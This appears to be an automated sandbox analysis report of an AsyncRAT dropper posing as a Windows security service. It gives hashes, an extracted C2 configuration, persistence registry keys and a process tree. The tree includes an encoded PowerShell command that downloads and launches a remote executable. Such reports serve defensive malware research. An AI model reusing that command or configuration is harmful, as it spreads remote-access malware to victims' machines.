Analysis
-
max time kernel
22s -
max time network
29s -
platform
windows10-1703_x64 -
resource
win10-20220812-en -
resource tags
arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system -
submitted
04-11-2022 21:17
Static task
static1
Behavioral task
behavioral1
Sample
SECURITYHEALTHSERVICE.exe
Resource
win10-20220812-en
General
-
Target
SECURITYHEALTHSERVICE.exe
-
Size
6KB
-
MD5
d7b61ed02a876336d7f0ef3f2fae3827
-
SHA1
9aaf625ec1e7d7aa29a7d90ce4cafdfc35723fac
-
SHA256
2e618a6cf8584a8a3aea443c98360a32c4eb678a8a457df58ae7f8a66ebe23ee
-
SHA512
817b046a97eb5435d64a67487250bd21e97b0b60af5c3fced1f2b05e3f88967deddfe829e21f349a730e90cb40d3c1f780e7e961760d27c8a79fa2412a2ab576
-
SSDEEP
192:PZo9c33aUqN0kbjwNNtUqTGkb/pm1v5ldj:xo9v/ONt/T/Ipj
Malware Config
Extracted
asyncrat
1.0.7
WindowsDefenderSmarttScreen
217.64.31.3:9742
WindowsDefenderSmarttScreen
-
delay
1
-
install
false
-
install_file
WindowsDefenderSmarttScreen.exe
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/4852-196-0x0000000002AD0000-0x0000000002AE2000-memory.dmp asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 2 4760 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
ab541f2.exepid process 4852 ab541f2.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
ab541f2.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce ab541f2.exe Set value (str) \REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\OperaSetups = "C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker\\RuntimeBroker.exe" ab541f2.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 4760 powershell.exe 4760 powershell.exe 4760 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4760 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
SECURITYHEALTHSERVICE.exepowershell.exedescription pid process target process PID 3836 wrote to memory of 4760 3836 SECURITYHEALTHSERVICE.exe powershell.exe PID 3836 wrote to memory of 4760 3836 SECURITYHEALTHSERVICE.exe powershell.exe PID 4760 wrote to memory of 4852 4760 powershell.exe ab541f2.exe PID 4760 wrote to memory of 4852 4760 powershell.exe ab541f2.exe PID 4760 wrote to memory of 4852 4760 powershell.exe ab541f2.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\SECURITYHEALTHSERVICE.exe"C:\Users\Admin\AppData\Local\Temp\SECURITYHEALTHSERVICE.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADIANwAxADkANQAyADkAMgA4ADgAMwAzADcAMAAwADMANAAvADEAMAAzADcANwAxADcANAA3ADMAMQA3ADQAMgAyADkAMAAzADIALwBXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBTAG0AYQByAHQAdABTAGMAcgBlAGUAbgAuAGUAeABlACcALAAgADwAIwBtAHUAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGEAaAByACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGoAawBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGEAYgA1ADQAMQBmADIALgBlAHgAZQAnACkAKQA8ACMAcgBiAHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBkAGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAaQB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGEAYgA1ADQAMQBmADIALgBlAHgAZQAnACkAPAAjAHEAZwBjACMAPgA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\ab541f2.exe"C:\Users\Admin\AppData\Roaming\ab541f2.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\ab541f2.exeFilesize
4.2MB
MD5b60e44033994d1fde9a4b6f1338bfa04
SHA17f2cd8091276040ca011174269112099ec3e9bef
SHA256baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e
SHA512a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574
-
C:\Users\Admin\AppData\Roaming\ab541f2.exeFilesize
4.2MB
MD5b60e44033994d1fde9a4b6f1338bfa04
SHA17f2cd8091276040ca011174269112099ec3e9bef
SHA256baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e
SHA512a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574
-
memory/3836-118-0x0000000000E00000-0x0000000000E08000-memory.dmpFilesize
32KB
-
memory/4760-119-0x0000000000000000-mapping.dmp
-
memory/4760-124-0x000002871B280000-0x000002871B2A2000-memory.dmpFilesize
136KB
-
memory/4760-127-0x0000028733990000-0x0000028733A06000-memory.dmpFilesize
472KB
-
memory/4852-142-0x0000000000000000-mapping.dmp
-
memory/4852-144-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-146-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-147-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-148-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-149-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-150-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-151-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-152-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-154-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-155-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-156-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-157-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-158-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-159-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-160-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-161-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-162-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-163-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-164-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-165-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-166-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-167-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-168-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-169-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-170-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-171-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-172-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-173-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-174-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-175-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-176-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-177-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-178-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-179-0x00000000003A0000-0x00000000007CE000-memory.dmpFilesize
4.2MB
-
memory/4852-180-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-181-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-182-0x0000000005040000-0x00000000050DC000-memory.dmpFilesize
624KB
-
memory/4852-183-0x00000000055E0000-0x0000000005ADE000-memory.dmpFilesize
5.0MB
-
memory/4852-184-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-185-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-186-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-187-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-188-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-189-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-190-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-191-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-192-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-193-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-194-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-195-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-196-0x0000000002AD0000-0x0000000002AE2000-memory.dmpFilesize
72KB
-
memory/4852-197-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-198-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-199-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-200-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-201-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-202-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-203-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-204-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/4852-205-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB